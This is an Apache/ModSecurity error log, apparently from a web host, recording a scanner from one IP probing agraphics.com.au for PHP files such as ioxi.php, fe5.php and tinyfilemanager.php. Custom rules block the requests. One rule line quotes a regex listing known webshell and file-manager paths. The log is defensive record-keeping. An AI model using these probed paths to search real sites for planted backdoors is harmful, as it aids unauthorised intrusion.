[Fri Feb 27 08:15:25.855745 2026] [:error] [pid 54103:tid 54180] [client 51.12.82.80:2275] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aaDiHevG4MPCmE0B2sDf3gAAAMk"]
[Fri Feb 27 08:15:26.413487 2026] [:error] [pid 54231:tid 54253] [client 51.12.82.80:25307] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi.php"] [unique_id "aaDiHuTvb5AeyJCdY7ALjAAAAFM"]
[Fri Feb 27 08:15:26.942681 2026] [:error] [pid 54101:tid 54132] [client 51.12.82.80:20204] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi.php"] [unique_id "aaDiHlY5qgRktcYTGFuxNAAAAdg"]
[Fri Feb 27 08:15:27.466913 2026] [:error] [pid 54231:tid 54234] [client 51.12.82.80:32810] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi.php"] [unique_id "aaDiH-Tvb5AeyJCdY7ALjwAAAEA"]
[Fri Feb 27 08:15:27.998271 2026] [:error] [pid 54101:tid 54123] [client 51.12.82.80:27614] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi.php"] [unique_id "aaDiH1Y5qgRktcYTGFuxOwAAAc8"]
[Fri Feb 27 08:15:28.523190 2026] [:error] [pid 54103:tid 54173] [client 51.12.82.80:19058] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "aaDiIOvG4MPCmE0B2sDf4wAAAMI"]
[Fri Feb 27 08:15:29.083119 2026] [:error] [pid 54102:tid 54154] [client 51.12.82.80:11320] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "aaDiIXi74D4fiYUm_GfIkwAAAIo"]
[Fri Feb 27 08:15:29.606426 2026] [:error] [pid 54231:tid 54239] [client 51.12.82.80:35525] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "aaDiIeTvb5AeyJCdY7ALkwAAAEU"]
[Fri Feb 27 08:15:30.147366 2026] [:error] [pid 54231:tid 54243] [client 51.12.82.80:29967] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "aaDiIuTvb5AeyJCdY7ALlAAAAEk"]
[Fri Feb 27 08:15:30.698664 2026] [:error] [pid 54231:tid 54238] [client 51.12.82.80:35681] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ov.php"] [unique_id "aaDiIuTvb5AeyJCdY7ALlwAAAEQ"]
[Fri Feb 27 08:15:31.221474 2026] [:error] [pid 54103:tid 54174] [client 51.12.82.80:11316] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ov.php"] [unique_id "aaDiI-vG4MPCmE0B2sDf6QAAAMM"]
[Fri Feb 27 08:15:31.749941 2026] [:error] [pid 54103:tid 54183] [client 51.12.82.80:17043] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ov.php"] [unique_id "aaDiI-vG4MPCmE0B2sDf6gAAAMw"]
[Fri Feb 27 08:15:32.319722 2026] [:error] [pid 54101:tid 54122] [client 51.12.82.80:35710] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ov.php"] [unique_id "aaDiJFY5qgRktcYTGFuxSwAAAc4"]
[Fri Feb 27 08:15:32.844813 2026] [:error] [pid 54231:tid 54234] [client 51.12.82.80:20196] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaDiJOTvb5AeyJCdY7ALnwAAAEA"]
[Fri Feb 27 08:15:33.371023 2026] [:error] [pid 54103:tid 54178] [client 51.12.82.80:19839] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaDiJevG4MPCmE0B2sDf8wAAAMc"]
[Fri Feb 27 08:15:33.896372 2026] [:error] [pid 54103:tid 54173] [client 51.12.82.80:35580] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaDiJevG4MPCmE0B2sDf9QAAAMI"]
[Fri Feb 27 08:15:34.422646 2026] [:error] [pid 54231:tid 54237] [client 51.12.82.80:21351] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaDiJuTvb5AeyJCdY7ALpwAAAEM"]
[Fri Feb 27 08:15:34.944800 2026] [:error] [pid 54103:tid 54187] [client 51.12.82.80:29962] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/default.php"] [unique_id "aaDiJuvG4MPCmE0B2sDgAwAAANA"]
[Fri Feb 27 08:15:35.466868 2026] [:error] [pid 54102:tid 54165] [client 51.12.82.80:11292] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/default.php"] [unique_id "aaDiJ3i74D4fiYUm_GfImQAAAJU"]
[Fri Feb 27 08:15:35.993488 2026] [:error] [pid 54102:tid 54152] [client 51.12.82.80:35559] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/default.php"] [unique_id "aaDiJ3i74D4fiYUm_GfImwAAAIg"]
[Fri Feb 27 08:15:36.550210 2026] [:error] [pid 54102:tid 54156] [client 51.12.82.80:27612] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/default.php"] [unique_id "aaDiKHi74D4fiYUm_GfInwAAAIw"]
[Fri Feb 27 08:15:37.080745 2026] [:error] [pid 54103:tid 54193] [client 51.12.82.80:17085] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "aaDiKevG4MPCmE0B2sDgEAAAANY"]
[Fri Feb 27 08:15:37.619004 2026] [:error] [pid 54103:tid 54192] [client 51.12.82.80:25305] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "aaDiKevG4MPCmE0B2sDgFQAAANU"]
[Fri Feb 27 08:15:38.156946 2026] [:error] [pid 54102:tid 54153] [client 51.12.82.80:17069] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "aaDiKni74D4fiYUm_GfIpAAAAIk"]
[Fri Feb 27 08:15:38.691227 2026] [:error] [pid 54102:tid 54163] [client 51.12.82.80:19121] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "aaDiKni74D4fiYUm_GfIqAAAAJM"]
[Fri Feb 27 08:15:39.215624 2026] [:error] [pid 54231:tid 54247] [client 51.12.82.80:27616] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aaDiK-Tvb5AeyJCdY7ALtgAAAE0"]
[Fri Feb 27 08:15:39.744086 2026] [:error] [pid 54102:tid 54159] [client 51.12.82.80:34988] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aaDiK3i74D4fiYUm_GfIqwAAAI8"]
[Fri Feb 27 08:15:40.266661 2026] [:error] [pid 54102:tid 54166] [client 51.12.82.80:32812] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aaDiLHi74D4fiYUm_GfIrgAAAJY"]
[Fri Feb 27 08:15:40.833311 2026] [:error] [pid 54103:tid 54184] [client 51.12.82.80:35880] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aaDiLOvG4MPCmE0B2sDgKQAAAM0"]
[Fri Feb 27 08:15:41.358218 2026] [:error] [pid 54102:tid 54145] [client 51.12.82.80:11324] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.1.php"] [unique_id "aaDiLXi74D4fiYUm_GfIsQAAAIE"]
[Fri Feb 27 08:15:41.892276 2026] [:error] [pid 54231:tid 54243] [client 51.12.82.80:35571] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.1.php"] [unique_id "aaDiLeTvb5AeyJCdY7ALvQAAAEk"]
[Fri Feb 27 08:15:42.419019 2026] [:error] [pid 54231:tid 54258] [client 51.12.82.80:34955] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.1.php"] [unique_id "aaDiLuTvb5AeyJCdY7ALwgAAAFg"]
[Fri Feb 27 08:15:42.943954 2026] [:error] [pid 54231:tid 54247] [client 51.12.82.80:20180] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.1.php"] [unique_id "aaDiLuTvb5AeyJCdY7ALxQAAAE0"]
[Fri Feb 27 08:15:43.484158 2026] [:error] [pid 54103:tid 54185] [client 51.12.82.80:31402] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/async.php"] [unique_id "aaDiL-vG4MPCmE0B2sDgMAAAAM4"]
[Fri Feb 27 08:15:44.024582 2026] [:error] [pid 54231:tid 54248] [client 51.12.82.80:31413] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/async.php"] [unique_id "aaDiMOTvb5AeyJCdY7ALywAAAE4"]
[Fri Feb 27 08:15:44.581824 2026] [:error] [pid 54103:tid 54195] [client 51.12.82.80:20168] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/async.php"] [unique_id "aaDiMOvG4MPCmE0B2sDgNQAAANg"]
[Fri Feb 27 08:15:45.124152 2026] [proxy_fcgi:error] [pid 54103:tid 54178] [client 51.12.82.80:19040] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:15:45.389592 2026] [proxy_fcgi:error] [pid 54103:tid 54170] [client 51.12.82.80:19040] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:15:45.656053 2026] [proxy_fcgi:error] [pid 54103:tid 54173] [client 51.12.82.80:19040] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:15:45.923478 2026] [proxy_fcgi:error] [pid 54103:tid 54189] [client 51.12.82.80:19040] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:15:46.189074 2026] [proxy_fcgi:error] [pid 54103:tid 54192] [client 51.12.82.80:19040] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:15:46.454128 2026] [proxy_fcgi:error] [pid 54103:tid 54185] [client 51.12.82.80:19040] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:15:46.725367 2026] [proxy_fcgi:error] [pid 54103:tid 54187] [client 51.12.82.80:19040] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:15:46.994542 2026] [proxy_fcgi:error] [pid 54103:tid 54193] [client 51.12.82.80:19040] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:15:47.260975 2026] [proxy_fcgi:error] [pid 54103:tid 54182] [client 51.12.82.80:19040] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:15:47.526565 2026] [proxy_fcgi:error] [pid 54103:tid 54178] [client 51.12.82.80:19040] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:15:47.792635 2026] [proxy_fcgi:error] [pid 54103:tid 54177] [client 51.12.82.80:19040] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:15:48.055105 2026] [:error] [pid 54103:tid 54186] [client 51.12.82.80:19040] [client 51.12.82.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aaDiNOvG4MPCmE0B2sDgRwAAAM8"]
[Fri Feb 27 08:15:48.599253 2026] [:error] [pid 54102:tid 54161] [client 51.12.82.80:19090] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aaDiNHi74D4fiYUm_GfIvQAAAJE"]
[Fri Feb 27 08:15:49.155747 2026] [:error] [pid 54102:tid 54146] [client 51.12.82.80:17068] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aaDiNXi74D4fiYUm_GfIxQAAAII"]
[Fri Feb 27 08:15:49.710283 2026] [:error] [pid 54102:tid 54162] [client 51.12.82.80:11512] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aaDiNXi74D4fiYUm_GfIyQAAAJI"]
[Fri Feb 27 08:15:50.242513 2026] [:error] [pid 54101:tid 54130] [client 51.12.82.80:19129] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aaDiNlY5qgRktcYTGFuxhwAAAdY"]
[Fri Feb 27 08:15:50.769794 2026] [:error] [pid 54103:tid 54189] [client 51.12.82.80:2263] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fi.php"] [unique_id "aaDiNuvG4MPCmE0B2sDgSwAAANI"]
[Fri Feb 27 08:15:51.298655 2026] [:error] [pid 54231:tid 54241] [client 51.12.82.80:19106] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fi.php"] [unique_id "aaDiN-Tvb5AeyJCdY7AL5QAAAEc"]
[Fri Feb 27 08:15:51.870354 2026] [:error] [pid 54231:tid 54247] [client 51.12.82.80:14939] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fi.php"] [unique_id "aaDiN-Tvb5AeyJCdY7AL5wAAAE0"]
[Fri Feb 27 08:15:52.399458 2026] [:error] [pid 54102:tid 54154] [client 51.12.82.80:2262] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fi.php"] [unique_id "aaDiOHi74D4fiYUm_GfIzQAAAIo"]
[Fri Feb 27 08:15:52.957452 2026] [:error] [pid 54102:tid 54149] [client 51.12.82.80:36320] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/muzu.php"] [unique_id "aaDiOHi74D4fiYUm_GfI0AAAAIU"]
[Fri Feb 27 08:15:53.484145 2026] [:error] [pid 54231:tid 54246] [client 51.12.82.80:2994] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/muzu.php"] [unique_id "aaDiOeTvb5AeyJCdY7AL7gAAAEw"]
[Fri Feb 27 08:15:54.009841 2026] [:error] [pid 54102:tid 54161] [client 51.12.82.80:31412] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/muzu.php"] [unique_id "aaDiOni74D4fiYUm_GfI1AAAAJE"]
[Fri Feb 27 08:15:54.531860 2026] [:error] [pid 54231:tid 54253] [client 51.12.82.80:15159] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/muzu.php"] [unique_id "aaDiOuTvb5AeyJCdY7AL8wAAAFM"]
[Fri Feb 27 08:15:55.057099 2026] [:error] [pid 54103:tid 54185] [client 51.12.82.80:15106] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/reze.php"] [unique_id "aaDiO-vG4MPCmE0B2sDgUAAAAM4"]
[Fri Feb 27 08:15:55.586858 2026] [:error] [pid 54231:tid 54238] [client 51.12.82.80:19075] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/reze.php"] [unique_id "aaDiO-Tvb5AeyJCdY7AL_AAAAEQ"]
[Fri Feb 27 08:15:56.114207 2026] [:error] [pid 54231:tid 54257] [client 51.12.82.80:2947] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/reze.php"] [unique_id "aaDiPOTvb5AeyJCdY7AL_gAAAFc"]
